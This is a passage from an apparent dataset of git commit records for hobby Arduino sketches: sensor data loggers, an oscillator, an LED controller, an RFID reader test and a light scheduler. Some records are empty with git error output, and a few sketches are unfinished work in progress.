allBytes.allBytes[i] = dataBuffer[i];\n }\n \/\/#ifdef DEBUG\n Serial.printf(\"Sizeof ist : %d\\n\", sizeof(AllBytesDataType));\n \/\/#endif\n bool success = UBP_queuePacketTransmission(ALL_BYTES, UBP_TxFlagIsRPC, (char *) &allBytes, sizeof(AllBytesDataType));\n#ifdef DEBUG\n if (success) Serial.println(\"----all data bytes packet queued successfully\");\n else Serial.println(\"----Failed to enqueue all data bytes packet\");\n#endif\n while (UBP_isBusy() == true) UBP_pump();\n\n \/\/-------- Read Battery level and Simblee temperature and transmit via bluetooth ---------------------\n\n BatteryDataType batteryData;\n batteryData.voltage = voltageOnVDD();\n batteryData.temperature = Simblee_temperature(CELSIUS);\n\n#ifdef DEBUG\n Serial.printf(\"Battery voltage: %f\\r\\n\", batteryData.voltage);\n#endif\n \/\/ Transmitt via bluetooth\n success = UBP_queuePacketTransmission(BATTERY_DATA, UBP_TxFlagIsRPC, (char *) &batteryData, sizeof(BatteryDataType));\n \/\/ if (success) Serial.println(\"Battery data packet queued successfully\");\n \/\/ else Serial.println(\"Failed to enqueue battery data packet\");\n \/\/ put your main code here, to run repeatedly:\n while (UBP_isBusy() == true) UBP_pump();\n\n#ifdef DEBUG\n Serial.printf(\"Sent Battery voltage: %f\\r\\n\", batteryData.voltage);\n#endif\n\n\n \/\/-------- transmit IDN data via bluetooth. By convention this is the last transmission -----------------\n\n ergo = pumpViaBluetooth(IDN_DATA, UBP_TxFlagNone, (char *) &idnData, sizeof(IDNDataType));\n success = UBP_queuePacketTransmission(IDN_DATA, UBP_TxFlagIsRPC, (char *) &idnData, sizeof(IDNDataType));\n delay(10);\n#ifdef DEBUG\n if (success) Serial.println(\"IDN data packet queued successfully\");\n else Serial.println(\"Failed to enqueue IDN data packet\");\n#endif\n \/\/ put your main code here, to run repeatedly:\n while (UBP_isBusy() == true) UBP_pump();\n\n#ifdef DEBUG\n Serial.printf(\"IDN: %x\", idnData.deviceID[0]);\n for (int i = 1; i < 13; i++) {\n Serial.printf(\":%x\", idnData.deviceID[i]);\n }\n Serial.println(\"... done\");\n#endif\n\n\n \/\/--------- send Simblee into ultra low power mode ---------------------------------------------------\n\n \/\/#ifdef DEBUG\n Serial.println(\"Sending RFDuino to sleep ...\");\n \/\/#endif\n Simblee_ULPDelay(SLEEP_DURATION); \/\/\n\n\n \/\/--------- send Simblee woke up again, now also wake up BM019 and repeat the loope cycle ------------\n\n#ifdef DEBUG\n Serial.println(\"... RFDuino woke up again\");\n Serial.println(\"Wake up CR95HF with wake up pulse...\");\n#endif\n sendWakeupPulse(IRQ_PIN); \/\/ Wake up BM019 (low pulse on IRQ_PIN)\n readWakeUPEventRegister(SS_PIN, RXBuffer);\n setupSPI();\n\n delay(10);\n SetProtocol_Command(); \/\/ ISO 15693 settings\n delay(100);\n\n#ifdef DEBUG\n Serial.println(\"... CR95HF woke up again. Receiving wake up response\");\n#endif\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LibreMonitor.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8d2914f7216e44a2b59f8adf9cd5ed2fdbb77020","subject":"use digital pins for 1-wire VCC & GND","message":"use digital pins for 1-wire VCC & GND\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"arduino\/temperature\/temperature.ino","new_file":"arduino\/temperature\/temperature.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f8c80d6b2dc34e6fd2049b40d704ec9395030593","subject":"It's working! Time to abstractify...","message":"It's working! Time to abstractify...\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testTimerTwo\/testTimerTwo.ino","new_file":"Motor Speed\/testTimerTwo\/testTimerTwo.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testTimerTwo\/testTimerTwo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ffd20b45ba58aace00e773e64a904a4f0fad441c","subject":"CTD Code for Qduino","message":"CTD Code for Qduino\n","repos":"OceanographyforEveryone\/OpenCTD","old_file":"OpenCTD_qDuino.ino\/OpenCTD_qDuino.ino.ino","new_file":"OpenCTD_qDuino.ino\/OpenCTD_qDuino.ino.ino","new_contents":"\/\/Wire and MS5803_I2C libraries for communicating with the pressure sensor. \n\n#include <Wire.h> \n#include <SparkFun_MS5803_I2C.h>\n\n\/\/EC Circuit uses software serial\n#include <SoftwareSerial.h> \/\/ For use by EC circuit.\n\n\/\/OneWire is used to get data from both temperature and conductivity sensors\n#include <OneWire.h> \n\n\/\/DallasTemperature is used to query the temeprature sensors \n#include <DallasTemperature.h> \n\n\/\/ For the SD card reader.\n#include <SPI.h> \n#include <SD.h> \n\n\/\/ Declare global variables.\nfloat tempA;\nfloat tempB;\nfloat tempC;\n\nfloat EC_float = 0; \/\/ Electrical conductivity.\n\nchar EC_data[48]; \/\/ A 48 byte character array to hold incoming data from the conductivity circuit. \nchar *EC; \/\/ Character pointer for string parsing.\n\nbyte received_from_sensor = 0; \/\/ How many characters have been received.\nbyte string_received = 0; \/\/ Whether it received a string from the EC circuit.\n\nSoftwareSerial ecSerial(8, 9); \/\/ Define the SoftwareSerial port for conductivity.\nOneWire oneWire(6); \/\/ Define the OneWire port for temperature.\nDallasTemperature sensors(&oneWire); \/\/ Define DallasTemperature input based on OneWire.\nMS5803 sensor(ADDRESS_HIGH); \/\/ Define pressure sensor.\n\ndouble pressure_abs; \/\/define absolute pressure variable\n\n\/\/ Starts it up.\n\/\/\nvoid setup(void) {\n\n Serial.begin(9600); \/\/ Set baud rate.\n ecSerial.begin(9600); \/\/ Set baud rate for conductivty circuit.\n\n pinMode(10, OUTPUT); \/\/ Set data output pin for the SD card reader.\n \n \/\/ Test to see if the SD card reader is functioning.\n if (!SD.begin(4)) {\n Serial.println(\"Card failed\"); \/\/ Log to serial monitor if SD card doesn't work.\n return; \n }\n delay(500); \/\/ Wait half a second before continuing.\n \n sensor.reset(); \/\/reset pressure sensor \n sensor.begin(); \/\/initialize pressure sensor\n sensors.begin(); \/\/ Intialize the temperature sensors.\n \n delay(250); \/\/ Wait a quarter second to continue.\n\n}\n\nvoid loop(void) {\n\n \/\/ Read any pending data from the EC circuit.\n if (ecSerial.available() > 0) {\n received_from_sensor = ecSerial.readBytesUntil(13, EC_data, 48);\n\n \/\/ Null terminate the data by setting the value after the final character to 0.\n EC_data[received_from_sensor] = 0;\n }\n\n \/\/ Parse data, if EC_data begins with a digit, not a letter (testing ASCII values).\n if ((EC_data[0] >= 48) && (EC_data[0] <=57)) {\n parse_data();\n }\n\n delay(10); \/\/ Wait 10 milliseconds.\n\n \/\/ Read temperature sensors.\n sensors.requestTemperatures();\n tempA = sensors.getTempCByIndex(0);\n tempB = sensors.getTempCByIndex(1);\n tempC = sensors.getTempCByIndex(2);\n\n \/\/ Log to the SD card...\n File dataFile = SD.open(\"datalog.txt\", FILE_WRITE);\n if (dataFile) {\n dataFile.print(sensor.getPressure(ADC_4096));\n dataFile.print(\" \");\n dataFile.print(tempA);\n dataFile.print(\" \");\n dataFile.print(tempB);\n dataFile.print(\" \");\n dataFile.print(tempC);\n dataFile.print(\" \");\n dataFile.println(EC);\n dataFile.close();\n }\n else {\n\n }\n\n \/\/ Log to the serial monitor.\n Serial.print(sensor.getPressure(ADC_4096));\n Serial.print(\" \"); \n Serial.print(tempA);\n Serial.print(\" \");\n Serial.print(tempB);\n Serial.print(\" \");\n Serial.print(tempC);\n Serial.print(\" \");\n Serial.print(EC);\n Serial.println(\"\");\n\n delay(50); \/\/ Wait 50 milliseconds.\n}\n\n\n\/\/ Parses data from the EC Circuit.\nvoid parse_data() {\n\n EC = strtok(EC_data, \",\"); \n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OpenCTD_qDuino.ino\/OpenCTD_qDuino.ino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1703eb49ef637b4f433a4d7554dab62dbc31d069","subject":"version active 13\/9","message":"version active 13\/9\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"4759851001ae52e013ff371b5cf933d62bbce137","subject":"Adding the arduino code","message":"Adding the arduino code\n","repos":"dcro\/arduino-temperature-humidity-monitor,dcro\/arduino-temperature-humidity-monitor","old_file":"src\/TemperatureHumidityMonitor.ino","new_file":"src\/TemperatureHumidityMonitor.ino","new_contents":"\/\/\n\/\/ Arduino temperature & humidity monitor\/logger\n\/\/\n\/\/ ------------------------------------------------------------------------\n\/\/\n\/\/ The MIT License (MIT)\n\/\/\n\/\/ Copyright (c) 2014 Dan Cotora\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in all\n\/\/ copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/\n\/\/ ------------------------------------------------------------------------\n\/\/\n\/\/ This Arduino code can be used to monitor the current temperature and humidity\n\/\/ from a DHT sensor and log the data to an SD card.\n\/\/\n\/\/ The program also relies on a DS1307 RTC for time keeping.\n\/\/\n\/\/ Data is read and recorded on the SD card every 60 seconds.\n\/\/\n\n#include <Wire.h>\n#include <DHT.h>\n#include <RTClib.h>\n#include <SdFat.h>\n\n#define DHTPIN 7\n#define DHTVCCPIN 2\n#define DHTTYPE DHT22\n#define CSPIN 4\n#define LEDPIN 9\n\nRTC_DS1307 RTC;\nDHT dht(DHTPIN, DHTTYPE);\nSdFat sd;\nSdFile csvFile;\n\nvoid setup() {\n pinMode(DHTVCCPIN, OUTPUT);\n pinMode(LEDPIN, OUTPUT);\n\n Serial.begin(9600);\n\n Serial.println(\"Initializing the microSD card...\");\n while (!sd.begin(CSPIN, SPI_HALF_SPEED)) {\n sd.initErrorPrint();\n delay(1000);\n }\n\n Serial.println(\"Initializing RTC...\");\n Wire.begin();\n RTC.begin();\n\n Serial.println(\"Initializing the DHT sensor...\");\n dht.begin();\n}\n\nvoid loop() {\n \/\/ Power the DHT sensor\n digitalWrite(DHTVCCPIN, HIGH);\n digitalWrite(LEDPIN, HIGH);\n\n \/\/ Wait 1 second for the sensor and SD card to stabilize\n delay(1000);\n\n \/\/ Get the current date\n DateTime now = RTC.now();\n\n \/\/ Read the temperature and the humidity\n float h = dht.readHumidity();\n float t = dht.readTemperature();\n\n \/\/ Turn off the sensor\n digitalWrite(DHTVCCPIN, LOW);\n\n \/\/ Check if returns are valid, if they are NaN (not a number) then something went wrong!\n if (isnan(t) || isnan(h)) {\n Serial.println(\"Failed to read from DHT sensor\");\n digitalWrite(LEDPIN, LOW);\n return;\n }\n\n \/\/ Open the CSV file for writing\n while (!csvFile.open(\"monitor.csv\", O_RDWR | O_CREAT | O_AT_END)) {\n sd.errorPrint(\"Failed to open monitor.csv for writing\");\n delay(1000);\n }\n\n \/\/ Print the current date to the console\n Serial.print(now.year(), DEC);\n Serial.print('\/');\n Serial.print(now.month(), DEC);\n Serial.print('\/');\n Serial.print(now.day(), DEC);\n Serial.print(' ');\n Serial.print(now.hour(), DEC);\n Serial.print(':');\n Serial.print(now.minute(), DEC);\n Serial.print(':');\n Serial.print(now.second(), DEC);\n Serial.print(\"\\t\");\n\n \/\/ Print the temperature and the humidity in the console\n Serial.print(\"Humidity: \");\n Serial.print(h);\n Serial.print(\" %\\t\");\n Serial.print(\"Temperature: \");\n Serial.print(t);\n Serial.println(\" *C\");\n\n \/\/ Write the current date in the CSV file\n csvFile.print(now.year(), DEC);\n csvFile.print('\/');\n csvFile.print(now.month(), DEC);\n csvFile.print('\/');\n csvFile.print(now.day(), DEC);\n csvFile.print(' ');\n csvFile.print(now.hour(), DEC);\n csvFile.print(':');\n csvFile.print(now.minute(), DEC);\n csvFile.print(':');\n csvFile.print(now.second(), DEC);\n csvFile.print(\",\");\n\n \/\/ Write the temperature and the humidity in the CSV file\n csvFile.print(h);\n csvFile.print(\",\");\n csvFile.println(t);\n\n \/\/ Close the file\n while (!csvFile.close()) {\n sd.errorPrint(\"Failed to close monitor.csv\");\n delay(1000);\n }\n\n digitalWrite(LEDPIN, LOW);\n\n \/\/ Wait 60 seconds\n delay(60000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/TemperatureHumidityMonitor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dd13dcbe75d939e92244318861bedf0dd3b28283","subject":"OSCILLATOR: first sketch","message":"OSCILLATOR: first sketch\n","repos":"Sonoscopia\/KidModular,Sonoscopia\/KidModular","old_file":"Oscillator\/Oscillator.ino","new_file":"Oscillator\/Oscillator.ino","new_contents":"\/*\nKidModular - OSCILLATOR \nby Tiago Angelo (aka p1nho)\n\nBuilt with: \nArduino 1.0.5\nMozzi v.1.0.2 Aedes australis (2015-05-20:23)\n[mozzi_config: STANDARD_PLUS 16384Hz]\n\n*\/\n\n\/************************************ INCLUDED LIBS & HEADERS ***********************************************\/\n#include <MozziGuts.h>\n#include <Oscil.h> \n\/************************************ WAVEFORMS *************************************************************\/\n#include <tables\/sin2048_int8.h> \n\n\/************************************ CLASS OBJECTS *********************************************************\/\nOscil <SIN2048_NUM_CELLS, AUDIO_RATE> aSin(SIN2048_DATA);\n\n\n\/************************************ DEFINITIONS ***********************************************************\/\n#define CONTROL_RATE 64 \/\/ powers of 2\n\n\/************************************ VARIABLES *************************************************************\/\n\n\/************************************ SETUP *****************************************************************\/\nvoid setup(){\n startMozzi(CONTROL_RATE); \/\/ set a control rate of 64 (powers of 2 please)\n aSin.setFreq(440); \/\/ set the frequency\n}\n\n\/************************************ CONTROL ***************************************************************\/\nvoid updateControl(){\n \/\/ put changing controls in here\n}\n\n\/************************************ AUDIO *****************************************************************\/\nint updateAudio(){\n return aSin.next(); \/\/ return an int signal centred around 0\n}\n\n\/************************************ LOOP ******************************************************************\/\nvoid loop(){\n audioHook(); \/\/ required here\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Oscillator\/Oscillator.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"935c847b0310d89b67bab17ca3a5d746c0fe18b0","subject":"Added particle.io app code.","message":"Added particle.io app code.\n","repos":"jermad\/test,nikita-leonov\/particleio-homekit","old_file":"hue-light-simulator.ino","new_file":"hue-light-simulator.ino","new_contents":"boolean gPowerState = true;\nfloat gHue = 0.5;\nfloat gSaturation = 1;\nfloat gBrightness = 0.4;\n\nvoid setup()\n{\n RGB.control(true);\n \n updateLED();\n \n Spark.function(\"powerState\", powerState);\n Spark.function(\"hue\", hue);\n Spark.function(\"saturation\", saturation);\n Spark.function(\"brightness\", brightness);\n}\n\nint powerState(String value) {\n int result = -1;\n \n if (value.length() > 0) {\n gPowerState = (value.toInt() == 1);\n result = gPowerState;\n }\n \n updateLED();\n\n return result;\n}\n\nint hue(String value) {\n int result = -1;\n \n if (value.length() > 0) {\n gHue = (float)value.toInt() \/ 100.0;\n result = hue.toInt();\n }\n\n updateLED();\n\n return result;\n}\n\nint saturation(String value) {\n int result = -1;\n \n if (value.length() > 0) {\n gSaturation = (float)value.toInt() \/ 100.0;\n result = value.toInt();\n }\n \n updateLED();\n\n return result;\n}\n\nint brightness(String value) {\n int result = -1;\n \n if (value.length() > 0) {\n gBrightness = (float)value.toInt() \/ 100.0;\n result = value.toInt();\n }\n\n updateLED();\n\n return result;\n}\n\nfloat hueToRGB(float p, float q, float t) {\n if(t < 0.0) t += 1.0;\n if(t > 1.0) t -= 1.0;\n if(t < 1.0\/6.0) return p + (q - p) * 6.0 * t;\n if(t < 1.0\/2.0) return q;\n if(t < 2.0\/3.0) return p + (q - p) * (2.0\/3.0 - t) * 6.0;\n\n return p;\n}\n\nvoid applyHSL(float h, float s, float l) {\n float r = 0;\n float g = 0;\n float b = 0;\n\n if(s == 0) {\n r = g = b = l;\n } else {\n float q = l < 0.5 ? l * (1.0 + s) : l + s - l * s;\n float p = 2.0 * l - q;\n r = hueToRGB(p, q, h + 1.0\/3.0);\n g = hueToRGB(p, q, h);\n b = hueToRGB(p, q, h - 1.0\/3.0);\n }\n\n RGB.color((int)(r*255.0), (int)(g*255.0), (int)(b*255.0));\n RGB.brightness((int)(l*255.0));\n}\n\nvoid updateLED() {\n if (gPowerState) {\n applyHSL(gHue, gSaturation, gBrightness);\n } else {\n applyHSL(0, 0, 0); \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hue-light-simulator.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8dc11a7f7218d61a91422a75ed429e1a6f78a905","subject":"Initial Commit","message":"Initial Commit\n","repos":"nikhgarg\/NASA-GRC-Space-Academy-2013,nikhgarg\/NASA-GRC-Space-Academy-2013","old_file":"readSensors\/readSensors.ino","new_file":"readSensors\/readSensors.ino","new_contents":"\n#include <stdarg.h>\n#include <stdio.h>\n\n\nconst int muxPin = A0;\nconst int capacitorAnalogPin1 = A1;\nconst int capacitorAnalogPin2 = A2;\n\nconst int imuPinX = A3;\nconst int imuPinY = A4;\nconst int imuPinZ = A5;\n\nconst int tempMux = 0;\nconst int resistanceMux = 1;\nconst int pressureMux = 2;\n\nconst int capacitorChargePin1 = 3;\nconst int capacitorChargePin2 = 4;\n\nconst int imuRate = 5.; \/* sampling rate in Hz *\/\nconst float capacitorRate = .1; \/\/dedicate to capacitor every 10 seconds\nconst int muxRate = 3.0;\n\nint muxChoice = 0;\nconst int capacitorResistorValue = 1000;\n\nunsigned long imuTime = 0;\nunsigned long capacitorTime = 0;\nunsigned long capacitorStartTime = 0;\nunsigned long muxTime = 0;\n\nvoid p(char *fmt, ... ){\n \n int buffer = 1024;\n \n char tmp[buffer]; \/\/ resulting string limited to 128 chars\n va_list args;\n va_start (args, fmt );\n vsnprintf(tmp, buffer, fmt, args);\n va_end (args);\n Serial.print(tmp);\n}\n\nvoid jsonprint(char * key, float value, unsigned long time){\n p(\"{\\\"%s\\\": %f, \\\"time\\\": %u}\\n\", key, value, time);\n}\n\nint my_putc( char c, FILE *t) {\n Serial.write( c );\n}\nvoid setup(){\n Serial.begin(115200);\n DDRD = DDRD | B11100000; \/\/ set digital ports 5-7 as writes for mux\n pinMode(capacitorChargePin1, OUTPUT); \n pinMode(capacitorChargePin2, OUTPUT); \n digitalWrite(capacitorChargePin1, LOW); \/\/discharge capacitor\n digitalWrite(capacitorChargePin2, LOW); \/\/discharge capacitor\n fdevopen( &my_putc, 0);\n\n}\n\nvoid loop(){\n samplePorts();\n}\n\nvoid capacitorRead(){\n const int length = 200;\n printf(\"in capacitor read\");\n int capacitor1Data [length] = {0};\n int capacitor2Data [length] = {0};\n long capacitorTimeData[length] = {0};\n\n printf(\"after allocation\");\n\n long looptimestart = micros();\n while(analogRead(capacitorAnalogPin1) > 0){ \/\/ wait until capacitor is completely discharged\n\n if (micros() - looptimestart > 1000*2){ \/\/too long in loop (infinite loop threat)\n \/\/Serial.print(\"break discharge, analog: \" + analogRead(capacitorAnalogPin));\n break;\n }\n }\n printf(\"discharged capacitor\");\n PORTD = capacitorChargePin1 | capacitorChargePin2; \/\/ set capacitorChargePin HIGH and capacitor charging\n long startTime = micros();\n looptimestart = micros();\n\n int index = 0;\n int cap1Value = 0;\n int cap2Value = 0;\n\n do{ \/\/ 647 is 63.2% of 1023, which corresponds to full-scale voltage \n\n cap1Value = analogRead(capacitorAnalogPin1);\n cap2Value = analogRead(capacitorAnalogPin2);\n long tt = micros(); \n capacitor1Data[index] = cap1Value;\n capacitor2Data[index] = cap2Value;\n capacitorTimeData[index] = tt;\n index++;\n\n delay(10);\n\n if (tt - looptimestart > 1000*2){ \/\/too long in loop (infinite loop threat)\n \/\/Serial.print(\"break charge loop, analog: \" + analogRead(capacitorAnalogPin));\n break;\n }\n }\n while ( cap1Value < 800 || cap2Value < 800);\n delay(100);\n printf(\"{\\\"capacitor1\\\": [%d\", capacitor1Data[0]);\n for (int i = 1; i< index;i++){\n delay(100);\n printf(\", %d\", capacitor1Data[i]); \n\n }\n delay(10);\n\n printf(\"],\\\"capacitor2\\\": [%d\", capacitor2Data[0]);\n for (int i = 1; i< index;i++){\n delay(10);\n\n printf(\", %d\", capacitor2Data[i]); \n }\n delay(10);\n\n printf(\"],\\\"capacitorIime\\\": [%d\", capacitorTimeData[0]);\n for (int i = 1; i< index;i++){\n delay(10);\n\n printf(\", %l\", capacitorTimeData[i]); \n }\n delay(10);\n\n printf(\"],\\\"time\\\": %l\\n\", millis());\n\n \/* dicharge the capacitor *\/\n digitalWrite(capacitorChargePin1, LOW); \/\/ set charge pin to LOW \n digitalWrite(capacitorChargePin2, LOW); \/\/ set charge pin to LOW \n} \n\nvoid samplePorts() \/*sample ports and send over serial according to rates*\/ \n\n{\n unsigned long time = millis();\n\n if (time - imuTime > 1000\/imuRate) \/* sample imu pins *\/ {\n unsigned long t = millis();\n int imuX = analogRead(imuPinX);\n int imuY = analogRead(imuPinY);\n int imuZ = analogRead(imuPinZ); \n\n p(\"{\\\"imux\\\": %d, \\\"imuy\\\": %d, \\\"imuz\\\": %d, \\\"time\\\": %u}\\n\", imuX, imuY, imuZ, time);\n\n imuTime = time;\n }\n\n if (time - capacitorTime > 1000\/capacitorRate) \/* sample capacitorPin *\/ {\n capacitorRead();\n capacitorTime = millis();\n }\n\n if (time - muxTime > 1000\/muxRate) \/* sample mux *\/ {\n\n switch(muxChoice){\n case 0: \n PORTD = tempMux; \n break;\n case 1: \n PORTD = resistanceMux; \n break; \n case 2: \n PORTD = pressureMux; \n break;\n }\n \n int muxVal = analogRead(muxPin);\n muxTime = time;\n\n switch(muxChoice){\n case 0: \n jsonprint(\"temperature\", muxVal, millis());\n break;\n case 1: \n jsonprint(\"resistance\", muxVal, millis());\n break; \n case 2: \n jsonprint(\"pressure\", muxVal, millis());\n break;\n }\n\n muxChoice = (muxChoice+1)%3; \n\n }\n\n}\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'readSensors\/readSensors.ino' did not match any file(s) known to git\n","license":"isc","lang":"Arduino"} {"commit":"eb9ce0e7b6283660b49ae2c6c3e3ffb042077623","subject":"sketch to dump 1 sector of memory to serial monitor","message":"sketch to dump 1 sector of memory to serial monitor\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"reader_test\/reader_test.ino","new_file":"reader_test\/reader_test.ino","new_contents":"#include <SoftwareSerial.h>\n\n#define RDM880_RX 2\n#define RDM880_TX 3\n#define bufferSize 255\n\n#define STX 0xAA\n#define ETX 0xBB\n\n#define CMD_READ 0x20\n#define CMD_GET_SNR 0x25\n\nSoftwareSerial RDM880(RDM880_RX, RDM880_TX);\nchar txrxbuffer[bufferSize];\n\nconst int ledPin = 13;\n\nvoid setup() {\n\tSerial.begin(57600);\n\tRDM880.begin(9600);\n\tpinMode(ledPin, OUTPUT);\n}\n\nvoid loop() {\n\tbool standby = true;\n\tbool responseFlag = false;\n\n\t\n}\n\nunsigned char checksum(unsigned char A[], int numElements) {\n\tint i = 0;\n\tunsigned char BCC = A[0];\n\n\tfor(i = 1; i < numElements - 1; i++) {\n\t\tBCC ^= A[i];\n\t}\n\n\treturn BCC;\n}\n\nvoid MF_SNR(unsigned char DADD) {\n\tunsigned char A[] = { DADD, 0x03, CMD_GET_SNR, 0x26, 0x00 };\n\tunsigned char BCC = checksum(A, sizeof(A)\/sizeof(A[0]));\n\tunsigned char CMD[] = { STX, DADD, 0x03, CMD_GET_SNR, 0x26, 0x00, BCC, ETX };\n\tRDM880.write(CMD, sizeof(CMD)\/sizeof(CMD[0]));\n}\n\nunsigned char detectCard(bool responseFlag) {\n int i = 0;\n unsigned char response[bufferSize];\n response[7] = NULL;\n \n while(RDM880.available()) {\n response[i] = RDM880.read();\n Serial.print(response[i], HEX);\n Serial.print(\" \");\n i++;\n }\n\n if (response[7] != NULL)\n return true;\n else\n return false; \n}\n\nvoid MF_READ(unsigned char numBlocks, unsigned char startSector) {\n\tint i = 0;\n\tunsigned A[] = { TX, 0x00, 0x0A, CMD_READ, 0x01, numBlocks, startSector,\n 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };\n unsigned char BCC = checksum(A, sizeof(A)\/sizeof(A[0]));\n unsigned char CMD[] = { STX, 0x00, 0x0A, CMD_READ, 0x01, numBlocks, startSector,\n 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, BCC, ETX };\n\tunsigned char response[bufferSize];\n\n \t\/\/ send command\n\tRDM880.write(CMD, sizeof(CMD)\/sizeof(CMD[0]));\n\n \t\/\/ get response packet and print\n\twhile(RDM880.available()) {\n\t\tresponse[i] = RDM880.read();\n\t\tSerial.print(response[i], HEX);\n\t\tif(i == 7) \n\t\t\tSerial.println();\n\t\telse if(i == 23 || i == 39 || i == 55 || i == 71 || i == 87) \n\t\t\tSerial.println();\n\t\telse if()\n\t\telse \n\t\t\tSerial.print(\" \");\n\t\ti++;\n\t}\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'reader_test\/reader_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6cb671ed6cb5aa7a5ec36f793627b2a729e66907","subject":"we want to know where we are heading \u2026","message":"we want to know where we are heading \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"00a4df7f64e248d1ed8106a8ba4cbcb6ef7df119","subject":"Folder structure","message":"Folder structure\n","repos":"benjaf\/LightController","old_file":"Arduino\/LightController\/LightController.ino","new_file":"Arduino\/LightController\/LightController.ino","new_contents":"\/*\n * Name:\tLightController.ino\n * Author:\tUser \"benjaf\" at plantedtank.net forums\n * URL:\t\thttps:\/\/github.com\/benjaf\/LightController\n *\n * This is an 'advanced' 24 hour light scheduler.\n * It allows for easy creation of pretty much any 24 hour light schedule imaginable within the limitations of the Arduino used.\n * Limitations:\n * - Schedule cannot exceed 24 hours (no handling of differences based on weekday, time of year etc.)\n * - Max number of channels: Defined by the number of PWN pins available on the Arduino used\n * - Max number of on\/off cycles during a day: Any\n * - Precision: \n * - PWN duty cycle: 0-255\n * - Time-to-PWM precision: 1 second (making the shortest fade timespan in which full PWM resolution is used 255 seconds)\n *\n * This is not intended to be a complete aquarium or light controller. \n * It merely provides you with the code to handle light scheduling! \n *\n * You will need to download and install \"RTClib\" for this to work.\n *\n * I have NOT included any code for interfaces (Serial, LCD, etc.), nor any delays.\n * That would make the sketch more context-specific because it depends on the users actual setup.\n * Communication via Serial is easy to find documentation on elsewhere.\n * It should be noted that this code contains no delays! If you start sending data (i.e. via Serial)\n * you might want to make sure this is only done at apropriate intervals.\n *\n * This version uses 2 PWM pins because I only have 2 channels in my setup.\n * More channels are easy to add, but some basic understanding of arrays is recommended.\n * Fore more advanced changes, the user (you) should have basic understanding of programming.\n * This includes: \n * - For-loops (and break conditions)\n * - Multi-dimensional arrays\n *\n * As is probably evident from the code, I am not that experianced with writing software for microcontrollers.\n * Several optimizations are possible, but I tried to shoot for at least some degree of readability.\n *\/\n \n\/*\n * Copyright (c) 2013, User \"benjaf\" at plantedtank.net forums\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * 